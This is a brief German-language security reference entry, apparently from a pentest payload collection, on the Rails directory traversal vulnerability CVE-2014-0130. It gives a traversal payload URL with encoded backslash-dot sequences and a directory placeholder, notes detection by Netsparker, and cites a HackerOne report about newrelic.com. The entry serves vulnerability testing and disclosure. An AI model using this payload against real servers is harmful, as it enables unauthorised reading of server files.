
cve-2014-0130 Rails Directory-Traversal-Sicherheitslücke
== CVE-2014-0130 Testfall
Payload : http://site/api/%5C../%5C../%5C../%5C../%5C../{{CAT_DIR}}
=== Von Netsparker erkannt :
https://i.imgur.com/s1vahmj.png
== HackerOne 1 - newrelic.com Rails-Directory-Traversal-Schwachstelle von droidsec - https://hackerone.com/reports/134032
== Referenzen